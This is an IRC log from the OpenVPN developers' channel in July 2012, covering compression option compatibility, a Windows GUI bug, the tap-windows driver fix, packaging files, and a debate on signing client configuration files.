seconds] 20:28 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Jul 15 2012 00:34 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 03:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:48 < plaisthos> dazo_afk: sorry, wasn't online for a long time, were the android issues resolved? 05:49 < plaisthos> I was under the impression that all comp-lzo options are compatible, connecting a comp-lzo no client to a comp-lzo yes server should work. Or does the server need to push comp-lzo yes in that case? 06:13 <+krzee> mis-matched settings breaks the vpn 06:15 <+krzee> compression settings* 06:23 < plaisthos> hm comp-lzo no on the server and comp-lzo on the client work well 06:26 < plaisthos> and comp-lzo no on client and comp-lzo yes on server works too 06:26 < plaisthos> leaving out a comp-lzo breaks of course 08:29 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 09:07 * plaisthos has fought against OpenSSL and won! :) 10:37 < plaisthos> I just tried the new openvpn gui for windows and got a strange error: 10:37 < plaisthos> Options error: Parameter tls_exit can only be specified in TLS-mode, i.e. where --tls-server or --tls-client is also specified. 10:37 < plaisthos> Use --help for more information. 10:37 < plaisthos> my config does not even have tls_exit in it :/ 10:41 < plaisthos> the gui always passes --tls-exit to the openvpn binary ... :( 13:05 -!- variable is now known as trout 14:02 * cron2 directs all complaints about the windows gui to d12fk :) 14:05 < plaisthos> cron2: thanks 14:40 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:40 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:13 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 15:38 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:49 < plaisthos> whois cron 15:49 < plaisthos> arghs 15:51 * cron2 <- me 15:53 < plaisthos> yes :) 15:53 <+krzee> lol 19:12 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds] 20:03 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:03 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Jul 16 2012 01:47 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:47 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:16 -!- dazo_afk is now known as dazo 02:18 <@dazo> plaisthos: If you don't have comp-lzo in the config file, the protocol is a little bit different compared to if --comp-lzo is set to no/yes/adaptive 02:19 <@dazo> plaisthos: I dunno if the Android issues were completely solved ... it was some questions related to --tls-auth and inline files in the config 03:39 < plaisthos> dazo: ah okay. Thanks. 03:39 < plaisthos> plaisthos: well, If I am not online it is usually quicker to send me an email :) 03:40 <@cron2> my, talking to himself, is he now? :) 03:41 <@dazo> plaisthos: I'll remember that :) 03:54 <@d12fk> plaisthos: that seems to be a bug 03:55 <@d12fk> tls_exit is added by the gui 04:00 <@d12fk> plaisthos: could you share your config 04:17 <@dazo> d12fk: I see discussion about the EWOULDBLOCK stuff started on the ML ... I'm sorry I can't help out in that discussion ... I have no idea about sys-programming in Windows ... but I hope it's possible to agree upon something ... and if it stalls or gets nasty, we'll get James input on this 04:18 <@d12fk> there is no EWOULDBLOCK on windows so that case should be resolvable 04:18 <@d12fk> it's just a mingw thang 04:22 <@d12fk> ^ err MSVC has errno.h as well but defines it as 140 complying to the std 04:24 <@d12fk> sothe code would actually compile with MSVC as well, but still be buggy 04:27 <@dazo> hmmm ... yet another reason I want to stay away from that mess :) At least stay away as long as possible 05:28 < plaisthos> d12fk: yes of course 05:28 < plaisthos> d12fk: basically a simple p2p config 05:29 < plaisthos> d12fk: http://pastebin.ca/2171489 05:30 <@d12fk> secret openvpn-key.txt <- static keying is bayd, mkay? =) 05:31 <@d12fk> i naively thought tls was a sure thing, guess i have to drop the tls-exit thing then 05:32 <@d12fk> iirc it was for convenience only anyway 05:32 < plaisthos> d12fk: yes :) 05:33 <@dazo> tls-exit is neat in UDP setups (tells the server the client is disconnecting) ... but on TCP setups, that won't fly 05:34 < plaisthos> dazo: that is explicit-exit-notify :) 05:34 <@dazo> duh!!! 05:34 * dazo blames the Monday 05:34 <@dazo> plaisthos: thx! :) 05:36 <@mattock> jamesyonan thought the tap-windows fix (#97) was reasonable 05:36 <@mattock> I'll generate signed tap-windows driver to test the fix 05:40 <@dazo> mattock: cool! 05:54 <@mattock> done: https://community.openvpn.net/openvpn/ticket/97#comment:9 05:54 <@vpnHelper> Title: #97 (OpenVPN produces DCHP NAK bomb on Win 7 64bit) – OpenVPN Community (at community.openvpn.net) 07:07 <@mattock> lol, ldap.openvpn.org was hit by the leap second bug 07:07 <@mattock> http://marc.info/?l=linux-kernel&m=134113389621450&w=2 07:07 <@vpnHelper> Title: 'Re: Leap second insertion causes futex to repeatedly timeout' - MARC (at marc.info) 07:08 <@mattock> java ate 95% of the CPU 07:09 <@mattock> good thing someone smart had figured this out 07:24 <@dazo> I actually think I like Googles solution to the leap second thing ... adjust the time speed with some microseconds over a longer period of time ... and when you hit the date, you're already in sync 07:32 <@mattock> I was out of sync already, but "date" hack seemed to do the trick 07:32 <@mattock> centos6 packages in the repo now 07:33 <@mattock> let's see if I can integrate the rpm/deb files into the repo before alpha3 07:33 <@mattock> any ideas on how to implement all that in autoconf? 07:33 <@mattock> alon apparently did not volunteer, as usual :P 07:39 <@dazo> Uhm ... why do you want that? well, I can only speak for RPM ... but basically, if you have the source tarball and the spec file ... put them into a properly configured rpmbuild directory (mkdir -p rpmbuild/{SOURCES,SPECS}) and run rpmbuild -ba from the SPECS directory .... that's all 07:40 <@dazo> well, that can all be made as a little tiny scriptlet which can be put into Makefile.am, though .... but I don't see the pure benefit of it, tbh ... as it will most likely only be us who will do that for the RPM builds 07:40 <@dazo> Fedora/RHEL/openSuSE/etc/etc will have their own spec files adjusted for their own distros and standard settings ... so they won't even look at that .spec file 07:42 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Ping timeout: 272 seconds] 07:42 <@dazo> on a related note ... this bz arrived during hte weekend, related to the Fedora packaging of openvpn ... https://bugzilla.redhat.com/show_bug.cgi?id=840188 07:42 <@vpnHelper> Title: Bug 840188 tmpfiles configuration file in wrong directory (at bugzilla.redhat.com) 07:43 <@dazo> (might be something we should check as well) 07:43 <@mattock> dazo: if we want to separate rpm/debian packaging completely from the openvpn codebase, then we should probably 07:43 <@mattock> get rid of the spec file and other stuff in distro/rpm 07:44 <@mattock> atm we have partial (or full?) support for rpm building, which I did not use for 2.3_alpha2, though 07:44 <@mattock> alon had made lots of changes to the spec file during buildsystem overhaul 07:44 <@mattock> so I think he's using that spec file 07:44 <@mattock> haven't tried if it works, though 07:45 <@dazo> I haven't looked at all his changes there ... but if it keeps his standards, it should be in a decent state ... however, Fedora has changed a lot recently - so I don't even know how compatible it will be with the latest Fedoras (16+) 07:50 <@mattock> yep, I fear that if I start adding conditionals to the spec file we'll soon have something that's incredibly difficult to understand 07:50 <@mattock> especially on the rpm side, debian-based distros are closer to each other 07:54 <@dazo> which is exactly why it doesn't make much sense for us to ship such spec or deb things, as it is so much distro centric ... if we need it for our own packaging, fair enough ... but we should rather point people at the distro specific build files if they want to spin their own 07:55 <@dazo> and we should then presume that the distros themselves keeps these files up-to-date according to their own standards 07:56 <@dazo> (that should, hopefully, be out of their own interest) 08:00 <@mattock> I wonder if having the rules/specs in openvpn-build (or even my own git repo on github) would help distro maintainers provide patches 08:02 <@dazo> That I honestly doubt ... distro-packagers seems seldom look outside their own little box 08:08 <@mattock> I'll fork openvpn-build and put the stuff there in separate directories (rpm/debian) 08:08 <@mattock> if someone needs it, it's there 08:08 <@mattock> easier than messing with files on a webserver 08:16 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 08:38 <@mattock> something like this, perhaps: https://github.com/mattock/openvpn-build 08:38 <@vpnHelper> Title: mattock/openvpn-build · GitHub (at github.com) 08:39 <@mattock> more or less just a versioned filestore, no fancy autoconf magic or anything 08:39 <@mattock> if distro maintainers want to contribute, they can fairly easily 08:42 <@dazo> well ... those filenames of the RPMs will cause you some headache ... as it needs to be called openvpn.spec when doing the build 09:34 <@mattock> yes, I know 09:35 <@mattock> when the buildslaves/build computer build the packages, they get renamed automatically 09:35 <@mattock> or rather, the file is scp'd to each with the correct name and spec file, depending on the OS 09:37 <@dazo> ahh, that makes sense 10:15 <@mattock> I'm not really worried about me, rather the people that might want to use the packaging files :) 10:21 <@dazo> mattock: well, if they know they want spec files ... they would also know this detail about the filename ... and if not, they would learn it rather fast, maybe even rant about RPM and such, then rant to you ... and then accept it 10:21 <@dazo> ;-) 11:08 <@mattock> yep :) 11:09 <@mattock> in this case, I truly hope the packagers have the wits to take a look at those packaging files... alpha2 required quite heavy modifications 11:09 <@mattock> and the easy-rsa packaging files are theirs to take :) 11:11 -!- raidz_afk is now known as raidz 11:20 <@dazo> mattock: cron2: Who takes now care of the win-tap driver? did anyone of you end up with it, or? I'm thinking about the fix in trac #97 ... we got a test response, and it seems to have solved things 11:21 <@cron2> no decision as far as i know 11:22 <@dazo> cron2: would you be able/willing to take it under your wings? it shouldn't be the part which require the most attention, hopefully 11:22 <@cron2> for the time being, I'd prefer to handle tap the same way as openvpn - i.e. ack rules, and dazo maintains the git repo 11:22 <@dazo> heh ... okay :) 11:23 <@cron2> next few months are going to be extremely chaotic with the two small childs 11:23 <@dazo> oh yeah :) I fully understand that :) 11:23 <@cron2> typing left handed right now, small one sleeping on right arm... 11:24 * dazo wonders what is most addictive ... the baby or the computer ..... 11:24 <@dazo> ;-) 11:24 <@cron2> *if* anything shows up, I'll try helping with review + code fixes 11:24 <@cron2> computer is addictive, baby has higher prio :) 11:24 <@dazo> then I need to get my fingers dirty and produce a reasonable commit out of the diff pasted at #97 ... the change is "ack"ed by james as reasonable 11:25 <@dazo> hehehe :) 11:25 <@cron2> ah, ack from james is good, missed that 11:25 <@dazo> but it's not public anywhere ... but I we seldom get that from him 11:26 <@dazo> (just here on irc this morning) 11:28 <@cron2> found it in backlog... at that time I was sleeping (bad cold) and then visiting the doc with the big one (unclear sores in mouth)... excitement today... 11:29 <@dazo> wow 11:29 <@cron2> now big one is bathing and after eating enough pudding, feeling reasonably well... 11:30 <@dazo> it's amazing what pudding can cure! It does even miracles to my wife!!! ;-) 11:30 <@cron2> :-) 12:54 -!- dazo is now known as dazo_afk 13:20 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 13:42 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 13:42 -!- mode/#openvpn-devel [+o andj] by ChanServ 13:57 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 14:06 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:06 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:08 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Client Quit] 14:08 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:08 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:21 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 14:23 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:23 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:27 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 14:28 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:28 -!- mode/#openvpn-devel [+o andj] by ChanServ 15:20 * cron2 bites on his tongue to prevent himself from writing another autoconf/libtool rant to the mailing list... 15:21 <@cron2> this .libs and $foo.la crap is *so* completely needed for libcompat.a... 15:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 16:00 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:16 < ender|> find -name '*.la' -exec rm -f {} 16:16 < ender|> ... 16:17 < ender|> argh 16:17 <+krzee> dont you need to give it a path too? 16:18 < ender|> it defaults to current directors if there's no path (at least the default one that's installed on linux distros) 16:19 < ender|> (also, i forgot to put {} in quotes, and there's a + missing at the end) 16:19 < plaisthos> yes gnu find does that 16:20 < plaisthos> find -name foo 16:20 < plaisthos> find: illegal option -- n 16:20 < plaisthos> [...] 16:20 < plaisthos> and so on :) 16:21 < plaisthos> (The FreeBSD inherated Mac OS X find) 16:22 <+krzee> -name works in osx / bsd 16:22 <+krzee> jeffs-MacBook-Pro:~ jeff$ find / -name '*.la' 16:22 <+krzee> definitely works 17:31 < plaisthos> krzee: yes I meant you have to add a path 17:33 <+krzee> oh ok 17:33 <+krzee> makes sense, most of what i know for syntax would bs bsd 20:04 -!- raidz is now known as raidz_afk 20:37 -!- uuuppz [~uuuppz@78.129.207.46] has quit [Ping timeout: 276 seconds] 21:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 21:36 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:54 -!- trout is now known as constant --- Day changed Tue Jul 17 2012 02:45 -!- dazo_afk is now known as dazo 06:45 <@cron2> is ecrist around? 07:30 <@mattock> he should be soonish I think 07:35 <@ecrist> I am now 07:41 <@ecrist> cron2: what's up? 07:45 <@mattock> ecrist: there are now easy-rsa packages for ubuntu/debian/fedora/rhel 07:45 <@cron2> ecrist: the openvpn-devel port seems to be a bit... oldish (201208). What's the update cycle that you use? 07:46 <@mattock> let me know when you're making the next easy-rsa release and I regenerate the packages 07:47 <@ecrist> cron2: I've fallen out of my cycle due to moving recently. I'm getting back on that horse soon 07:47 <@ecrist> I have a new dev box that I need to setup to handle the updates and such 07:47 <@cron2> ic 07:47 <@ecrist> I haven't even rolled a snapshot in a couple weeks. 07:47 <@ecrist> it's on my to-do list for this week, already, though. 07:52 <@cron2> good news 09:24 -!- constant [root@freebsd/developer/variable] has quit [Ping timeout: 248 seconds] 10:44 <@d12fk> need another N opinions to decide what approach to use for the non-blocking windows connect() patch, have a go! 10:46 * cron2 starts typing 10:48 <@cron2> d12fk: was WSAGetLastError() special on earlier windows versions? 10:49 * cron2 wonders why the difference exists, and which windows version we're now getting "more incompatible" with - if it's just w2k and earlier, to hell with it :) 10:49 <@d12fk> very early versions we don't care about anymore, s.th. like w98 10:49 <@d12fk> checked xp and it's there as well 10:50 <@d12fk> int WSAGetLastError() { return GetLastError(); } 10:51 <@cron2> ok 10:51 <@ecrist> windows 2000 and earlier are no longer supported by us 10:51 * cron2 acks 10:52 <@ecrist> that includes windows 95, 98, 98se, me, and NT 4 10:52 <@cron2> that's what I said :) 10:52 <@dazo> If it had broken WinXP ... I would be willing to have a extended support time for openvpn-2.2 until we deem that platform dead as well 10:52 <@ecrist> right 10:52 <@ecrist> windows xp still seems to do the right things, and it's still heavily used. 10:53 <@dazo> *sight* .... https://plus.google.com/112648813199640203443/posts/BuNkBu6ht8f 10:53 <@dazo> somebody should have been shoot for coming up with this cloud buzz word .... 10:53 <@cron2> haha 10:58 <@cron2> d12fk: I don't like CONNECT_IN_PROGRESS, because it hints at "this is some sort of magic constant", while it is just an errno.h definition 11:02 <@cron2> but I'm all confused today, it seems, so "just ignore an old man's rambling" 11:04 -!- dazo is now known as dazo_afk 11:17 -!- raidz_afk is now known as raidz 11:28 <@vpnHelper> RSS Update - wishlist: a bug of openvpn windows client in nonblock mode <http://forums.openvpn.net/topic10934.html> 11:29 <@d12fk> ^heh little late 11:30 <@d12fk> patch updates sent, heading home. cu 15:21 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 15:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:21 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:45 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 15:49 < ender|> <@ecrist> windows 2000 and earlier are no longer supported by us <- was anything older than 2000 ever supported? 15:49 <@cron2> it wasn't "us" at that time, so who knows :-) 15:52 < ender|> hah 16:04 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:24 < plaisthos> which NDIS version does the tap driver require? That limits the OS anyway 18:18 -!- variable [root@freebsd/developer/variable] has joined #openvpn-devel 19:19 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 19:27 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:27 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:56 -!- raidz is now known as raidz_afk --- Day changed Wed Jul 18 2012 01:41 <@mattock> fyi: I'll be on a vacation for the whole August 01:42 <@mattock> I'll be hanging around here nevertheless and checking my emails 02:31 <@mattock> uh, got the SLES stuff off my chest :P 02:31 <@mattock> stay away from it, guys 02:57 <@mattock> the TAP fix seems to have worked: https://community.openvpn.net/openvpn/ticket/97 02:57 <@vpnHelper> Title: #97 (OpenVPN produces DCHP NAK bomb on Win 7 64bit) – OpenVPN Community (at community.openvpn.net) 02:58 <@cron2> plaisthos: no idea - it used to work with W2K and up, but we decided that we'll no longer support W2K due to problems with mingw, visual studio, whatnot 02:58 <@cron2> (and it has no IPv6 anyway) 02:58 <@cron2> mattock: yeah, this is great. Dazo said on monday he'll commit that - so you might want to assign that ticket to him 02:58 <@mattock> we had the one serious openvpn bug fixed, so I guess tap-windows-9.9.2 and 2.3-alpha3 makes sense 03:00 <@mattock> for tap-windows fixes only a new Windows installer would suffice 03:34 -!- dazo_afk is now known as dazo 04:13 <@mattock> rpm and debian packaging files cleaned up and documentation added: https://github.com/mattock/openvpn-build 04:13 <@vpnHelper> Title: mattock/openvpn-build · GitHub (at github.com) 04:13 <@mattock> I even tested that the instructions work :) 04:23 <@cron2> cool :) 04:23 * cron2 agrees with 9.9.2 + alpha3 06:01 <@dazo> d12fk: would you have a couple of cycles available to review this one? Esp. the Windows side ... http://thread.gmane.org/gmane.network.openvpn.devel/6801 06:02 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 06:12 <@d12fk> dazo: ah ignored that one cause of the schizophrenic self-reply 06:12 <@dazo> heh 06:12 <@dazo> yeah 06:13 <@d12fk> i'll reply 06:13 <@dazo> thx! 06:15 <+krzee> lol 06:48 <@dazo> d12fk: thanks a lot for a very good review! 06:53 <@d12fk> dazo: yw =) 07:03 <+krzee> my favorite part of that email thread is that he started his self-reply with "yes, ..." 08:23 <@mattock> yeah, all set for alpha3 release, packaging-vise 08:55 <@dazo> mattock: okay, lets get a few more patches reviewed, acked and applied ... and we can wrap up an alpha3 tomorrow or so 08:56 < plaisthos> "But every place I look I find stuff that should be modified." <= I actually agree with this sentences 08:57 < plaisthos> but not sometimes in the way the changes have to be 08:57 <@dazo> plaisthos++ 08:58 < plaisthos> with my app working under Android 4.1 I hopefully have some time now to look at the socket stuff 08:58 <@dazo> cool! 09:03 < plaisthos> and after that will look if I can the openssl engine stuff working under android 09:04 < plaisthos> at the moment openvpn ask for rsa_sign via managment, java gets the message and calls into jni with openssl and engine code ... 09:04 < plaisthos> which works but is somewhat strange 09:05 <@dazo> nice 09:20 <@mattock> dazo: oki, 2.3_alpha3 should be easy, no need to update the man-page or anything 09:20 <@dazo> mattock: nope, not at all 09:20 <@dazo> (unless somebody wants to provide some needed updates ;-)) 09:21 <@mattock> dazo: btw, familiar with Jolla Mobile already? 09:21 <@dazo> mattock: yeah ... I'm hoping it'll come a decent model with hw keyboard ... then I'm almost willing to buy it unseen :-P 09:21 <@dazo> (great initiative anyhow!) 09:22 <@mattock> I need to buy one, too, if they manage to deliver 09:22 <@dazo> :) 09:22 <@mattock> I hope so, the mobile landscape is so dull with all the uninteresting crap out there :) 09:22 <@mattock> e.g. iPhone, Android, Windows Phone 09:22 <@mattock> :P 09:22 <@dazo> would be hilarious if Nokia gets completely bankrupt and these guys flies up as winners :) 09:22 <@mattock> yep 09:25 <@mattock> as a smallish (50 people) company these guys don't have the historical baggage which nokia had, so they might succeed 09:27 <@dazo> well ... most of them are ex-Nokia people though ;-) 09:27 <@mattock> yeah, I hope they don't take the baggage with them :D 09:27 <@mattock> I'm fairly sure they know what was wrong at Nokia and avoid (the same) mistakes 09:27 <@dazo> I doubt so ... I have the impression most of them come for the MeeGo/maemo camp 09:30 <@dazo> I read a tweet some days ago where they claimed they were ready to put a new platform on fire, or something like that .... and an interview with the CEO that they knew what was wrong in Nokia and don't need to repeat that 10:35 <@dazo> hmmmmm ..... I might have an idea how to add signatures to config files ... the server signs client configs, and clients can verify the config easily, based on the pubkey in the server cert ... standalone PoC seems to work flawlessly 10:36 <@dazo> so ... if the client can then calculate another checksum based upon the config variables in memory and send that info to the server ... the server can validate the client config 10:37 <@dazo> (need to use some unknown random seeding there, though ... to avoid clients from forging the response too easily) 11:02 -!- raidz_afk is now known as raidz 12:54 -!- dazo is now known as dazo_afk 12:56 <+krzee> signed configs? 12:57 <+krzee> couldnt you override the config with --options after --config anyways 14:50 <@raidz> hey guys, just a heads up, some of Openvpns services are down, including our website 14:50 <@raidz> DC Issues: 14:50 <@raidz> Hello, 14:50 <@raidz> At 18-Jul-2012 19:25 UTC, the SEA01 datacenter has suffered a dual-path fiber outage. At this time, all servers in SEA01 are without front-end and back-end network connectivity. We have contacted the dark fiber provider and are awaiting word on estimated time for remedy. 15:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 15:18 <@cron2> "you need a better datacenter provider"... 15:31 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:13 < ender|> ...dark fiber provider? 17:30 <@raidz> We use softlayer, they are usually very reliable 19:06 -!- raidz is now known as raidz_afk 19:11 <@ecrist> raidz_afk: you need a better DC 19:13 <@ecrist> cron2: working on setting up my new dev box tonight 19:17 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds] 20:41 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:50 <@ecrist> raar 21:49 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 21:52 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Jul 19 2012 02:10 -!- dazo_afk is now known as dazo 02:36 <@dazo> krzee: Yeah, I was thinking about that; so I'm thinking of basing the configuration checks on all the /parsed/ options (not pushed though) ... so it's based upon what's in memory and not the file itself ... and that makes it possible to allow f.ex. cert/key file paths to be different (that needs to be correct anyway -> clients must be authenticated by the server) 03:54 < plaisthos> yeah but a client can still fake this 03:54 < plaisthos> and use a second config that is not verified 04:09 <@dazo> plaisthos: yeah, agreed ... which is why I'm also thinking how to provide a checksum which is sent to the server, for server validation as well .... 04:10 <@dazo> but that's a next-step again 04:10 <@dazo> (server validation could use CCDs to set the accepted config checksums for individual users, to provide some flexibility) 04:19 <@dazo> plaisthos: however, this first step isn't about server security, but client security (and when thinking about it, the checksum check needs to come when the TLS connection is established; it requires the servers certificate) ... so the client can validate that this is a unchanged configuration file "approved" by the server 04:19 <@dazo> the second step will be about server security ... that the server can validate that the client haven't modified its config 04:41 <@cron2> dazo: an evil client can always do anything 04:41 <@cron2> like "send the checksum for *this* config to the server, but then do something else" 04:41 * cron2 doesn't fully understand what dazo is trying to achieve, to be honest :) 04:43 <@dazo> okay, it's two aspects ... one is for the client to assure that the config it uses is one which is coming from the server. The client config contains a signature which can be validated using the pubkey from the servers certificate 04:44 <@cron2> I'm still not sure I understand which attack scenarios this is protecting against 04:45 <@cron2> (as in "why is the crypto stuff needed when we already have occ verification, and the server should be pushing what he wants to see in the client config anyway) 04:45 <@dazo> right ... if you get a config file from a VPN service provider, how can you be sure that this config is really coming from that provider? 04:45 <@cron2> dazo: why would I care? 04:46 <@cron2> what is the attack that "someone evil" would do by sending me a fake VPN service config? 04:46 <@dazo> to send your traffic through a compromised server? 04:46 <@dazo> it won't replace the other security mechanisms ... just adding another layer 04:47 <@cron2> he can't, unless he also sends you fake keys, and if he does *that*, he can just send you a signature from the compromised server "everything is good!" 04:47 <@dazo> true, unless it's his CA which is compromised, not his server 04:48 <@cron2> and if the CA is compromised, you can just roll fake certs, and point people to a compromised server with a proper cert, telling the client (again) "everything is good!" 04:48 * cron2 still doesn't see an attack where a *server-provided* checksum would protect against compromised *servers* 04:49 <@dazo> cron2: okay, lets twist it a bit ... why we have PGP signatures on mails? 04:49 <@cron2> to verify that the mail was sent by the owner of this key 04:50 <@cron2> but to make this work, you have to receive a signature for the pubkey via a trusted 3rd party 04:50 <@cron2> (or meet the key holder in person) 04:50 <@cron2> PGP doesn't protect against someone saying "I'm gert@greenie.muc.de", creating a key that says that, and sign all his mails with that key 04:50 <@dazo> true ... well, can also be doable in this scenario ... just using another sign-key than the server key 04:52 <@dazo> anyhow, this first step gives the framework needed to generate the checsums which can then be sent to the server ... to validate the client config from the server side 04:53 * cron2 is still not convinced that this would actually help against any of the threats named - but it adds complexity, and someone will have to maintain that 04:54 <@cron2> if you want "fully trusted client configs", I think the model would be "client config must not contain anything but server IP address and key material, and *everything* is pushed" 04:54 <@d12fk> whats up with this: 04:54 <@d12fk> Thu Jul 19 10:52:09 2012 MANAGEMENT: CMD 'proxy HTTP feed::1 80' 04:54 <@d12fk> Thu Jul 19 10:52:13 2012 RESOLVE: Cannot resolve host address: feed::1: [NO_DATA] The requested name is valid but does not have an IP address. 04:54 <@d12fk> why does ovpn resolve? 04:55 <@cron2> d12fk: where is "feed::1" coming from? This looks like an IPv6 address, but not a valid one 04:55 <@d12fk> cron2: i just made it up 04:55 <@cron2> d12fk: what else should it do but resolve? It's not a valid IPv4 address either 04:55 <@d12fk> what's invalid about it? 04:56 <@cron2> for IPv4, the question is obvious :) for IPv6, it's not from a range valid for IPv6 unicast assignments (2000::/3 or fc00::/7) 04:57 <@dazo> cron2: true ... but a minimal config now will also require client cert/keys (okay, that's not related to this - it's anyway authenticated on the server) but you need cipher settings, tls-auth, and probably a few more to be able to establish contact 04:57 <@d12fk> ah i get it if the dst host is ipv4 the proxy cannot ipv6 04:57 <@cron2> d12fk: but most likely openvpn is just stuffing whatever you give it there into "gethostbyname()" and that will handle literal IPv4 addresses, but not IPv6 04:57 <@cron2> d12fk: and I wouldn't be surprised to learn that the proxy can never be IPv6 because "not implemented" 04:58 <@cron2> dazo: if you have established contact, you know that your key+cipher+tls settings are right 04:58 <@d12fk> well, in that case i'm just doing the handling down of ipv6 and someone needs to implement it 04:59 <@d12fk> cron2 <- you! =) 04:59 <@cron2> d12fk: nah, plaisthos is working on the socket.c beautification project ("rip out all there is") 04:59 <@dazo> cron2: yeah .... /me goes to think this over once more :) 05:00 <@d12fk> cron2: btw, prev i tried 2001::1 and it showed the same error, so is plain stupidity on the ovpn side i suppose 05:01 <@d12fk> just testing if the proxy info is handed down the mgmt itf correctly anyways... =) 05:01 * d12fk --ipv6-agnostic-mode 05:02 <@d12fk> as not sure if ipv6 proxies exist or just fantasizing about them 05:03 <@cron2> dazo: I'm not necessarily saying that this is not useful, but playing devil's advocat is good to be sure *you* stay convinced it's useful :-) 05:03 <@dazo> cron2: yeah, and I need that :) 05:03 <@cron2> d12fk: well, our corp webprody does v4+v6, so "ipv6 enabled proxies exist" and "it should just work" 05:04 <@d12fk> plaisthos: to the rscue 05:04 <@dazo> cron2: okay, what about if a clients adds additional routes (can be added on the client side) ... so instead of filling up the tunnel with traffic the server will reject (due to firewalling) and keeping the server more busy ... the client gets a smack and is disconnected instead? 05:04 <@d12fk> cron2: our http proxy does ipv6 as well 05:05 <@dazo> cron2: or ... the client skips --pull and tries to hijack an IP address on the VPN tunnel? 05:05 <@cron2> dazo: this will help against a client misconfiguration, but a deliberatly evil client will just send you what you want to hear - and against hijacking, the server properly does that in tun mode already :) 05:06 <@dazo> yeah 05:08 * cron2 just tries to actually *find* the place where the management cmd about proxy is handled (and resolved)... 05:08 <@dazo> cron2: I believe some of that is new code from d12fk 05:09 <@cron2> yeah, but even for --http-proxy the flow of code is less than clear 05:10 <@cron2> ah 05:10 <@cron2> if a proxy is given, it will just override the sock->remote_host and sock->remote_port setting, but keep the PROTO_TCPv4_CLIENT/PROTO_TCPv6_CLIENT setting - so indeed, for an IPv4 server, you can't use an IPv6 proxy, and vice versa 05:11 <@cron2> socket.c, link_socket_init_phase1() 05:16 <@d12fk> should do someday 05:18 <@dazo> isn't enough to "on-the-fly" change from tcp->tcp6 or vice versa if the proxy code resolvs an IPv4 or IPv6 address? 05:21 < plaisthos> ah the joys of the socket code :D 05:22 <@dazo> plaisthos: I'm looking fwd to the day I can point all socket.c questions to our new socket.c expert ;-) 05:22 < plaisthos> :) 05:46 <@cron2> dazo: that wouldn't work, as the code first assumes "tcp" or "tcp6", and only then goes resolving DNS 05:46 <@dazo> ahh, okay ... 06:15 < plaisthos> I already have a patch that cleans up the resolve stuff a bit 06:23 < plaisthos> I will look into the proxy stuff 06:23 < plaisthos> when I am home 06:24 < plaisthos> last time I looked into the code the proxy stuff was ipv4 only 06:54 <@cron2> plaisthos: I think it actually is "whatever is specified as protocol for the client" - so it's tcp-client or tcp6-client 06:54 <@cron2> but I might misreading the code 07:22 <@d12fk> i think the auto proxy stuff is good to go 07:52 <@cron2> cool 08:53 -!- 